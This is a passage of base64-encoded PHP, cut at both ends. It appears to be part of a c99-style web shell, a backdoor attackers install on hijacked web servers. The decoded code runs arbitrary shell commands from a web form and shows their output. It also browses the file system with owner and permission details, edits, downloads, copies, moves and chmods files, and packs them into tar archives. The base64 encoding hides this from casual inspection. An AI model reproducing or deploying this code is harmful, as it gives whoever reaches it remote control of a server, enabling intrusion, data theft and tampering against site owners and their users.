hdGEpO30NCiAgZWxzZWlmICgkYWN0cGFzdGVidWZmKSB7DQogICAgJHBzdGVyciA9ICIiOw0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICAgICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9DQogICAgfQ0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgICAkeCA9ICJscyI7DQogIH0NCiAgZWxzZWlmICgkYWN0YXJjYnVmZikgew0KICAgICRhcmNlcnIgPSAiIjsNCiAgICBpZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogICAgZWxzZSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogICAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKSB7JGNtZGxpbmUgPSAidGFyIGNmenYiO30NCiAgICAkY21kbGluZSAuPSAiICIuJGFjdGFyY2J1ZmZfcGF0aDsNCiAgICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSk7DQogICAgZm9yZWFjaCgkb2JqZWN0cyBhcyAkdikgew0KICAgICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpOw0KICAgICAgaWYgKHN1YnN0cigkdiwwLHN0cmxlbigkZCkpID09ICRkKSB7JHYgPSBiYXNlbmFtZSgkdik7fQ0KICAgICAgaWYgKGlzX2RpcigkdikpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkdiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICAkdiAuPSAiKiI7DQogICAgICB9DQogICAgICAkY21kbGluZSAuPSAiICIuJHY7DQogICAgfQ0KICAgICR0bXAgPSByZWFscGF0aCgiLiIpOw0KICAgIGNoZGlyKCRkKTsNCiAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZGxpbmUpOw0KICAgIGNoZGlyKCR0bXApOw0KICAgIGlmIChlbXB0eSgkcmV0KSkgeyRhcmNlcnIgLj0gIkNhbid0IGNhbGwgYXJjaGl2YXRvciAoIi5odG1sc3BlY2lhbGNoYXJzKHN0cjJtaW5pKCRjbWRsaW5lLDYwKSkuIikhPGJyPiI7fQ0KICAgICRyZXQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkcmV0KTsNCiAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgIGlmICgkY29weV91bnNldCkge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHsNCiAgICAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9DQogICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgIH0NCiAgICBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30NCiAgICAkeCA9ICJscyI7DQogIH0NCiAgZWxzZWlmICgkYWN0cGFzdGVidWZmKSB7DQogICAgJHBzdGVyciA9ICIiOw0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgICB9DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgIH0NCiAgICBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICAgJHggPSAibHMiOw0KICB9DQp9DQppZiAoJHggPT0gImNtZCIpIHsNCiAgQGNoZGlyKCRjaGRpcik7DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsNCiAgICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj4uOiBSZXN1bHQgb2YgQ29tbWFuZCBFeGVjdXRpb24gOi48L2Rpdj4iOw0KICAgICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICAgIEBjaGRpcigkZCk7DQogICAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOw0KICAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgICBpZiAoJGNtZF90eHQpIHsNCiAgICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7DQogICAgICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7IH0NCiAgICAgIGlmICgkbXNpZSkgeyAkY29scyA9IDExMzsgfQ0KICAgICAgZWxzZSB7ICRjb2xzID0gMTE3O30NCiAgICAgIGVjaG8gIjxkaXYgYWxpZ249bGVmdD48cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC9wcmU+PC9kaXY+IjsNCiAgICB9DQogICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogICAgQGNoZGlyKCRvbGRkaXIpOw0KICB9DQogIGVsc2Ugew0KICAgIGVjaG8gIjxiPkNvbW1hbmQgRXhlY3V0aW9uPC9iPiI7DQogICAgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gVFJVRTt9DQogIH0NCn0NCmlmICgkeCA9PSAibHMiKSB7DQogIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHsgJGxpc3QgPSAkbHNfYXJyOyB9DQogIGVsc2Ugew0KICAgICRsaXN0ID0gYXJyYXkoKTsNCiAgICBpZiAoJGggPSBAb3BlbmRpcigkZCkpIHsNCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7JGxpc3RbXSA9ICRkLiRvO30NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICB9DQogIH0NCiAgaWYgKGNvdW50KCRsaXN0KSA9PSAwKSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q2FuJ3Qgb3BlbiBmb2xkZXIgKCIuaHRtbHNwZWNpYWxjaGFycygkZCkuIikhPC9kaXY+Ijt9DQogIGVsc2Ugew0KICAgICRvYmplY3RzID0gYXJyYXkoKTsNCiAgICAkdmQgPSAiZiI7IA0KICAgIGlmICgkdmQgPT0gImYiKSB7DQogICAgICAkb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsNCiAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOw0KICAgICAgZm9yZWFjaCAoJGxpc3QgYXMgJHYpIHsNCiAgICAgICAgJG8gPSBiYXNlbmFtZSgkdik7DQogICAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAgICBpZiAoJG8gPT0gIi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJDVVJESVIiO30NCiAgICAgICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJVUERJUiI7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHsNCiAgICAgICAgICBpZiAoaXNfbGluaygkdikpIHskdHlwZSA9ICJMSU5LIjt9DQogICAgICAgICAgZWxzZSB7JHR5cGUgPSAiRElSIjt9DQogICAgICAgICAgJHJvd1tdID0gJHY7DQogICAgICAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9DQogICAgICAgICRyb3dbXSA9IGZpbGVtdGltZSgkdik7DQogICAgICAgIGlmICghJHdpbikgew0KICAgICAgICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOw0KICAgICAgICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOw0KICAgICAgICAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJHYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkdikpOw0KICAgICAgICB9DQogICAgICAgICRyb3dbXSA9IGZpbGVwZXJtcygkdik7DQogICAgICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyRvYmplY3RzWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JG9iamVjdHNbImZvbGRlcnMiXVtdID0gJHJvdzt9DQogICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1siZmlsZXMiXVtdID0gJHJvdzt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICRyb3dbXSA9ICI8Yj5OYW1lPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+U2l6ZTwvYj4iOw0KICAgICAgJHJvd1tdID0gIjxiPkRhdGUgTW9kaWZpZWQ8L2I+IjsNCiAgICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICI8Yj5Pd25lci9Hcm91cDwvYj4iO30NCiAgICAgICRyb3dbXSA9ICI8Yj5QZXJtczwvYj4iOw0KICAgICAgJHJvd1tdID0gIjxiPkFjdGlvbjwvYj4iOw0KICAgICAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkc29ydCk7DQogICAgICAkc29ydCA9ICRwYXJzZXNvcnRbMF0uJHBhcnNlc29ydFsxXTsNCiAgICAgICRrID0gJHBhcnNlc29ydFswXTsNCiAgICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyRwYXJzZXNvcnRbMV0gPSAiZCI7fQ0KICAgICAgJHkgPSAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRrLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsNCiAgICAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuKCRzb3J0WzFdID09ICJhIj8iYXNjIjoiZGVzYyIpLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAgICAkcm93WyRrXSAuPSAkeTsNCiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRyb3cpLTE7JGkrKykgew0KICAgICAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9DQogICAgICB9DQogICAgICAkdiA9ICRwYXJzZXNvcnRbMF07DQogICAgICB1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOw0KICAgICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7DQogICAgICB1c29ydCgkb2JqZWN0c1siZmlsZXMiXSwgInRhYnNvcnQiKTsNCiAgICAgIGlmICgkcGFyc2Vzb3J0WzFdID09ICJkIikgew0KICAgICAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZm9sZGVycyJdKTsNCiAgICAgICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICAgIH0NCiAgICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZm9sZGVycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICAgICR0YWIgPSBhcnJheSgpOw0KICAgICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7DQogICAgICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsiZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7DQogICAgICAkaSA9IDA7DQogICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkgew0KICAgICAgICAkdiA9ICRhWzBdOw0KICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgJGRpciA9IGRpcm5hbWUoJHYpOw0KICAgICAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9DQogICAgICAgIGVsc2UgeyRkaXNwcGF0aCA9ICRvO30NCiAgICAgICAgJGRpc3BwYXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLDYwKTsNCiAgICAgICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30NCiAgICAgICAgZWxzZWlmIChpbl9hcnJheSgkdiwkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JGRpc3BwYXRoID0gIjx1PiIuJGRpc3BwYXRoLiI8L3U+Ijt9DQogICAgICAgIGZvcmVhY2ggKCRyZWd4cF9oaWdobGlnaHQgYXMgJHIpIHsNCiAgICAgICAgICBpZiAoZXJlZygkclswXSwkbykpIHsNCiAgICAgICAgICAgIGlmICgoIWlzX251bWVyaWMoJHJbMV0pKSBvciAoJHJbMV0gPiAzKSkgeyRyWzFdID0gMDsgb2JfY2xlYW4oKTsgZWNobyAiV2FybmluZyEgQ29uZmlndXJhdGlvbiBlcnJvciBpbiBcJHJlZ3hwX2hpZ2hsaWdodFsiLiRrLiJdWzBdIC0gdW5rbm93biBjb21tYW5kLiI7IGNhcHJpdjhleGl0KCk7fQ0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOw0KICAgICAgICAgICAgICAkaXNkaXIgPSBpc19kaXIoJHYpOw0KICAgICAgICAgICAgICBpZiAoKCRyWzFdID09IDApIG9yICgoJHJbMV0gPT0gMSkgYW5kICEkaXNkaXIpIG9yICgoJHJbMV0gPT0gMikgYW5kICEkaXNkaXIpKSB7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRyWzJdKSkgeyRyWzJdID0gIjxiPiI7ICRyWzNdID0gIjwvYj4iO30NCiAgICAgICAgICAgICAgICAkZGlzcHBhdGggPSAkclsyXS4kZGlzcHBhdGguJHJbM107DQogICAgICAgICAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR1byA9IHVybGVuY29kZSgkbyk7DQogICAgICAgICR1ZCA9IHVybGVuY29kZSgkZGlyKTsNCiAgICAgICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsNCiAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHsNCiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zbWFsbF9kaXJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kby4iPC9hPiI7DQogICAgICAgICAgJHJvd1tdID0gIkNVUkRJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7DQogICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2xua1wiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSAiVVBESVIiOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgew0KICAgICAgICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7DQogICAgICAgICAgICAkdHlwZSA9ICJMSU5LIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICR0eXBlID0gIkRJUiI7DQogICAgICAgICAgICAkcm93W10gPSAgIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDtbIi4kZGlzcHBhdGguIl08L2E+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7DQogICAgICAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsNCiAgICAgICAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgICAgICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGRpc3BwYXRoLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSB2aWV3X3NpemUoJGFbMV0pOw0KICAgICAgICB9DQogICAgICAgICRyb3dbXSA9IGRhdGUoImQubS5ZIEg6aTpzIiwkYVsyXSk7DQogICAgICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICRhWzNdO30NCiAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJHYpLiI8L2I+PC9hPiI7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07fQ0KICAgICAgICBlbHNlIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30NCiAgICAgICAgaWYgKGlzX2RpcigkdikpIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZCZkPSIuJHV2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQ0KICAgICAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJDaGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLiR1by4iJmZ0PWRvd25sb2FkJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0PVwiRG93bmxvYWRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICAgICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbImhlYWQiXVtdID0gJHJvdzt9DQogICAgICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskdGFiWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyR0YWJbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOw0KICAgIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPlsrXSAiOw0KICAgIGlmICghZW1wdHkoJGZ4X2luZm9oZWFkKSkgeyBlY2hvICRmeF9pbmZvaGVhZDsgfQ0KICAgIGVsc2UgeyBlY2hvICJEaXJlY3RvcnkgTGlzdCAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpIjsgfQ0KICAgIGVjaG8gIiBbK108L2Rpdj5cbiI7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1QgbmFtZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iLg0KICAgICAgICAgIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOw0KICAgIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpIHsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICAgICBlY2hvICI8L3RyPlxyXG4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPiIuDQogICAgICAgICAiPHNjcmlwdD4iLg0KICAgICAgICAgImZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykgeyIuDQogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4NCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9IHN0YXR1czsgaWQrKzsgfSIuDQogICAgICAgICAifSIuDQogICAgICAgICAiZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKSB7Ii4NCiAgICAgICAgICIgdmFyIGlkID0gMTsgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsiLg0KICAgICAgICAgIiB3aGlsZSAoaWQgPD0gbnVtKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOyBpZCsrOyB9Ii4NCiAgICAgICAgICJ9Ii4NCiAgICAgICAgICI8L3NjcmlwdD4iLg0KICAgICAgICAgIjxkaXYgYWxpZ249XCJyaWdodFwiPiIuDQogICAgICAgICAiPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+Ii4NCiAgICAgICAgICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+IjsNCiAgICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpIHsNCiAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiZnhfYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPV